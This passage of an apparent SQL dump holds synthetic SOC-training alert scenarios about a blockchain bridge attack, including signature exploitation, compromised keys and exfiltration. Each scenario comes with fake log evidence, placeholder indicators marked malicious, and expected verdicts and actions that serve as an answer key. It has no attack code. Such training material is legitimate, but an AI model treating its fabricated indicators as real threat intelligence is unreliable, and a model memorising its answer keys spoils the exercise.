1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:20:35Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0123456789abcdef0123456789abcdef0\\\",\\\"mixer_address\\\":\\\"1MixerXYZ123456789abcdef\\\",\\\"exchange_domain\\\":\\\"cryptomixexchange.com\\\",\\\"user\\\":\\\"john.doe@example.com\\\",\\\"amount\\\":\\\"10 BTC\\\",\\\"malicious\\\":true}\"},{\"timestamp\":\"2026-02-01T20:30:22.690Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:20:35Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0123456789abcdef0123456789abcdef0\\\",\\\"mixer_address\\\":\\\"1MixerXYZ123456789abcdef\\\",\\\"exchange_domain\\\":\\\"cryptomixexchange.com\\\",\\\"user\\\":\\\"john.doe@example.com\\\",\\\"amount\\\":\\\"10 BTC\\\",\\\"malicious\\\":true}\"},{\"timestamp\":\"2026-02-01T20:29:22.690Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:20:35Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0123456789abcdef0123456789abcdef0\\\",\\\"mixer_address\\\":\\\"1MixerXYZ123456789abcdef\\\",\\\"exchange_domain\\\":\\\"cryptomixexchange.com\\\",\\\"user\\\":\\\"john.doe@example.com\\\",\\\"amount\\\":\\\"10 BTC\\\",\\\"malicious\\\":true}\"},{\"timestamp\":\"2026-02-01T20:28:22.690Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:20:35Z\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0123456789abcdef0123456789abcdef0\\\",\\\"mixer_address\\\":\\\"1MixerXYZ123456789abcdef\\\",\\\"exchange_domain\\\":\\\"cryptomixexchange.com\\\",\\\"user\\\":\\\"john.doe@example.com\\\",\\\"amount\\\":\\\"10 BTC\\\",\\\"malicious\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(999, 'Suspicious Smart Contract Interaction Detected', 'medium', 'Blockchain transaction logs', 'Anomalous interactions with the Wormhole bridge smart contract were detected, suggesting a potential exploitation of a signature verification vulnerability.', 'Initial Access', 'T1190', 1, 'new', NULL, '{\"transaction_id\":\"0xabc1234def5678ghijk910lmnopqrs2345tuvwx\",\"contract_address\":\"0xwormholebridge1234567890abcdef\",\"attacker_ip\":\"203.0.113.45\",\"source_ip\":\"192.168.1.100\",\"transaction_hash\":\"0xdeadbeef1234567890abcdef1234567890abcdef\",\"timestamp\":\"2023-10-01T12:34:56Z\",\"user\":\"0xvictimuser1234567890abcdef\",\"function_called\":\"verifySignature\",\"parameters\":{\"signature\":\"0xsuspicioussignature1234567890abcdef\",\"message\":\"0xmessagepayload1234567890abcdef\"}}', '2026-01-17 03:45:24', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous blockchain-related attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"0xdeadbeef1234567890abcdef1234567890abcdef\",\"is_critical\":false,\"osint_result\":{\"source\":\"Blockchain Analysis\",\"verdict\":\"suspicious\",\"details\":\"Transaction hash associated with unusual smart contract interactions.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"0xvictimuser1234567890abcdef\",\"is_critical\":false,\"osint_result\":{\"source\":\"Blockchain Explorer\",\"verdict\":\"internal\",\"details\":\"User account of interest.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.692Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"0xabc1234def5678ghijk910lmnopqrs2345tuvwx\\\",\\\"contract_address\\\":\\\"0xwormholebridge1234567890abcdef\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"transaction_hash\\\":\\\"0xdeadbeef1234567890abcdef1234567890abcdef\\\",\\\"timestamp\\\":\\\"2023-10-01T12:34:56Z\\\",\\\"user\\\":\\\"0xvictimuser1234567890abcdef\\\",\\\"function_called\\\":\\\"verifySignature\\\",\\\"parameters\\\":{\\\"signature\\\":\\\"0xsuspicioussignature1234567890abcdef\\\",\\\"message\\\":\\\"0xmessagepayload1234567890abcdef\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:22.692Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"0xabc1234def5678ghijk910lmnopqrs2345tuvwx\\\",\\\"contract_address\\\":\\\"0xwormholebridge1234567890abcdef\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"transaction_hash\\\":\\\"0xdeadbeef1234567890abcdef1234567890abcdef\\\",\\\"timestamp\\\":\\\"2023-10-01T12:34:56Z\\\",\\\"user\\\":\\\"0xvictimuser1234567890abcdef\\\",\\\"function_called\\\":\\\"verifySignature\\\",\\\"parameters\\\":{\\\"signature\\\":\\\"0xsuspicioussignature1234567890abcdef\\\",\\\"message\\\":\\\"0xmessagepayload1234567890abcdef\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:22.692Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"0xabc1234def5678ghijk910lmnopqrs2345tuvwx\\\",\\\"contract_address\\\":\\\"0xwormholebridge1234567890abcdef\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"transaction_hash\\\":\\\"0xdeadbeef1234567890abcdef1234567890abcdef\\\",\\\"timestamp\\\":\\\"2023-10-01T12:34:56Z\\\",\\\"user\\\":\\\"0xvictimuser1234567890abcdef\\\",\\\"function_called\\\":\\\"verifySignature\\\",\\\"parameters\\\":{\\\"signature\\\":\\\"0xsuspicioussignature1234567890abcdef\\\",\\\"message\\\":\\\"0xmessagepayload1234567890abcdef\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:22.692Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"0xabc1234def5678ghijk910lmnopqrs2345tuvwx\\\",\\\"contract_address\\\":\\\"0xwormholebridge1234567890abcdef\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"transaction_hash\\\":\\\"0xdeadbeef1234567890abcdef1234567890abcdef\\\",\\\"timestamp\\\":\\\"2023-10-01T12:34:56Z\\\",\\\"user\\\":\\\"0xvictimuser1234567890abcdef\\\",\\\"function_called\\\":\\\"verifySignature\\\",\\\"parameters\\\":{\\\"signature\\\":\\\"0xsuspicioussignature1234567890abcdef\\\",\\\"message\\\":\\\"0xmessagepayload1234567890abcdef\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:22.692Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"transaction_id\\\":\\\"0xabc1234def5678ghijk910lmnopqrs2345tuvwx\\\",\\\"contract_address\\\":\\\"0xwormholebridge1234567890abcdef\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"source_ip\\\":\\\"192.168.1.100\\\",\\\"transaction_hash\\\":\\\"0xdeadbeef1234567890abcdef1234567890abcdef\\\",\\\"timestamp\\\":\\\"2023-10-01T12:34:56Z\\\",\\\"user\\\":\\\"0xvictimuser1234567890abcdef\\\",\\\"function_called\\\":\\\"verifySignature\\\",\\\"parameters\\\":{\\\"signature\\\":\\\"0xsuspicioussignature1234567890abcdef\\\",\\\"message\\\":\\\"0xmessagepayload1234567890abcdef\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1000, 'Exploitation of Signature Verification Vulnerability', 'high', 'Smart contract audit reports', 'An attacker successfully manipulated the smart contract by leveraging a signature verification vulnerability. This allowed unauthorized execution of transactions, moving large sums across the blockchain bridge.', 'Execution', 'T1203: Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event\":\"Unauthorized Transaction Execution\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"transaction_id\":\"0x5abc3d2e9f3b6a8e7f9b2c8d3e4f6a1b\",\"affected_contract\":\"0xde0B295669a9FD93d5F28D9Ec85E40f4cb697BAe\",\"signature_method\":\"ECDSA\",\"vulnerability\":\"Improper Signature Validation\",\"malicious_file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"attacker123\"}', '2026-01-17 03:45:24', '2026-02-14 17:06:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous blockchain attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Asset\",\"verdict\":\"internal\",\"details\":\"Internal blockchain node handling transactions.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to tools used in blockchain exploitation.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"attacker123\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Activity Logs\",\"verdict\":\"suspicious\",\"details\":\"Username linked with unauthorized access attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.693Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event\\\":\\\"Unauthorized Transaction Execution\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"transaction_id\\\":\\\"0x5abc3d2e9f3b6a8e7f9b2c8d3e4f6a1b\\\",\\\"affected_contract\\\":\\\"0xde0B295669a9FD93d5F28D9Ec85E40f4cb697BAe\\\",\\\"signature_method\\\":\\\"ECDSA\\\",\\\"vulnerability\\\":\\\"Improper Signature Validation\\\",\\\"malicious_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"attacker123\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.693Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event\\\":\\\"Unauthorized Transaction Execution\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"transaction_id\\\":\\\"0x5abc3d2e9f3b6a8e7f9b2c8d3e4f6a1b\\\",\\\"affected_contract\\\":\\\"0xde0B295669a9FD93d5F28D9Ec85E40f4cb697BAe\\\",\\\"signature_method\\\":\\\"ECDSA\\\",\\\"vulnerability\\\":\\\"Improper Signature Validation\\\",\\\"malicious_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"attacker123\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.693Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event\\\":\\\"Unauthorized Transaction Execution\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"transaction_id\\\":\\\"0x5abc3d2e9f3b6a8e7f9b2c8d3e4f6a1b\\\",\\\"affected_contract\\\":\\\"0xde0B295669a9FD93d5F28D9Ec85E40f4cb697BAe\\\",\\\"signature_method\\\":\\\"ECDSA\\\",\\\"vulnerability\\\":\\\"Improper Signature Validation\\\",\\\"malicious_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"attacker123\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.693Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event\\\":\\\"Unauthorized Transaction Execution\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"transaction_id\\\":\\\"0x5abc3d2e9f3b6a8e7f9b2c8d3e4f6a1b\\\",\\\"affected_contract\\\":\\\"0xde0B295669a9FD93d5F28D9Ec85E40f4cb697BAe\\\",\\\"signature_method\\\":\\\"ECDSA\\\",\\\"vulnerability\\\":\\\"Improper Signature Validation\\\",\\\"malicious_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"attacker123\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.693Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event\\\":\\\"Unauthorized Transaction Execution\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"transaction_id\\\":\\\"0x5abc3d2e9f3b6a8e7f9b2c8d3e4f6a1b\\\",\\\"affected_contract\\\":\\\"0xde0B295669a9FD93d5F28D9Ec85E40f4cb697BAe\\\",\\\"signature_method\\\":\\\"ECDSA\\\",\\\"vulnerability\\\":\\\"Improper Signature Validation\\\",\\\"malicious_file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"attacker123\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1001, 'Persistent Access via Compromised Keys', 'high', 'Cryptographic key monitoring tools', 'An attacker has maintained access to an exploited smart contract by using compromised cryptographic keys, leading to repeated unauthorized transactions.', 'Persistence', 'T1098 - Account Manipulation', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T02:15:30Z\",\"event_id\":\"crypto-access-00123\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.101\",\"compromised_key_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"attacker_username\":\"attacker_user\",\"exploited_smart_contract\":\"0x9e564e1d1e334e123456790bcd1234567890abcd\",\"malicious_file\":\"malicious_keyfile.bin\",\"transaction_id\":\"tx1234567890abcdef\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-01-17 03:45:24', '2026-02-14 17:06:55', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDatabase\",\"verdict\":\"malicious\",\"details\":\"IP associated with known crypto-related attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetwork\",\"verdict\":\"internal\",\"details\":\"Internal IP address of affected device.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareDatabase\",\"verdict\":\"malicious\",\"details\":\"Hash matches known compromised cryptographic keys.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_keyfile.bin\",\"is_critical\":true,\"osint_result\":{\"source\":\"FileReputationService\",\"verdict\":\"malicious\",\"details\":\"File used to maintain unauthorized access.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"attacker_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"UserBehaviorAnalytics\",\"verdict\":\"suspicious\",\"details\":\"Username associated with unauthorized access.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.694Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T02:15:30Z\\\",\\\"event_id\\\":\\\"crypto-access-00123\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"compromised_key_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"attacker_username\\\":\\\"attacker_user\\\",\\\"exploited_smart_contract\\\":\\\"0x9e564e1d1e334e123456790bcd1234567890abcd\\\",\\\"malicious_file\\\":\\\"malicious_keyfile.bin\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.694Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T02:15:30Z\\\",\\\"event_id\\\":\\\"crypto-access-00123\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"compromised_key_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"attacker_username\\\":\\\"attacker_user\\\",\\\"exploited_smart_contract\\\":\\\"0x9e564e1d1e334e123456790bcd1234567890abcd\\\",\\\"malicious_file\\\":\\\"malicious_keyfile.bin\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.694Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T02:15:30Z\\\",\\\"event_id\\\":\\\"crypto-access-00123\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"compromised_key_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"attacker_username\\\":\\\"attacker_user\\\",\\\"exploited_smart_contract\\\":\\\"0x9e564e1d1e334e123456790bcd1234567890abcd\\\",\\\"malicious_file\\\":\\\"malicious_keyfile.bin\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.694Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T02:15:30Z\\\",\\\"event_id\\\":\\\"crypto-access-00123\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"compromised_key_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"attacker_username\\\":\\\"attacker_user\\\",\\\"exploited_smart_contract\\\":\\\"0x9e564e1d1e334e123456790bcd1234567890abcd\\\",\\\"malicious_file\\\":\\\"malicious_keyfile.bin\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.694Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T02:15:30Z\\\",\\\"event_id\\\":\\\"crypto-access-00123\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"compromised_key_hash\\\":\\\"5f4dcc3b5aa765d61d8327deb882cf99\\\",\\\"attacker_username\\\":\\\"attacker_user\\\",\\\"exploited_smart_contract\\\":\\\"0x9e564e1d1e334e123456790bcd1234567890abcd\\\",\\\"malicious_file\\\":\\\"malicious_keyfile.bin\\\",\\\"transaction_id\\\":\\\"tx1234567890abcdef\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1002, 'Funds Exfiltration and Bug Bounty Offer', 'critical', 'Cryptocurrency exchange monitoring', 'An attacker successfully siphoned off $325 million from the exchange. They have proposed a $10 million bug bounty offer, indicating a negotiation strategy for vulnerability disclosure.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:23:45Z\",\"event_id\":\"evt-123456789\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.0.0.15\",\"username\":\"attacker_user\",\"transaction_id\":\"txn-987654321\",\"exfiltrated_amount\":325000000,\"proposed_bounty\":10000000,\"exfil_method\":\"http\",\"malware_hash\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"filename\":\"exploit_script.sh\"}', '2026-01-17 03:45:24', '2026-02-16 17:50:03', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP involved in previous cyber attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server used for transaction processing.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"attacker_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Directory\",\"verdict\":\"suspicious\",\"details\":\"Username not recognized in standard user lists.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware used in financial exfiltration.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"exploit_script.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Incident Response\",\"verdict\":\"malicious\",\"details\":\"Script used in multiple exfiltration incidents.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.696Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"evt-123456789\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"transaction_id\\\":\\\"txn-987654321\\\",\\\"exfiltrated_amount\\\":325000000,\\\"proposed_bounty\\\":10000000,\\\"exfil_method\\\":\\\"http\\\",\\\"malware_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"filename\\\":\\\"exploit_script.sh\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.696Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"evt-123456789\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"transaction_id\\\":\\\"txn-987654321\\\",\\\"exfiltrated_amount\\\":325000000,\\\"proposed_bounty\\\":10000000,\\\"exfil_method\\\":\\\"http\\\",\\\"malware_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"filename\\\":\\\"exploit_script.sh\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.696Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45Z\\\",\\\"event_id\\\":\\\"evt-123456789\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"transaction_id\\\":\\\"txn-987654321\\\",\\\"exfiltrated_amount\\\":325000000,\\\"proposed_bounty\\\":10000000,\\\"exfil_method\\\":\\\"http\\\",\\\"malware_hash\\\":\\\"d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2\\\",\\\"filename\\\":\\\"exploit_script.sh\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.696Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 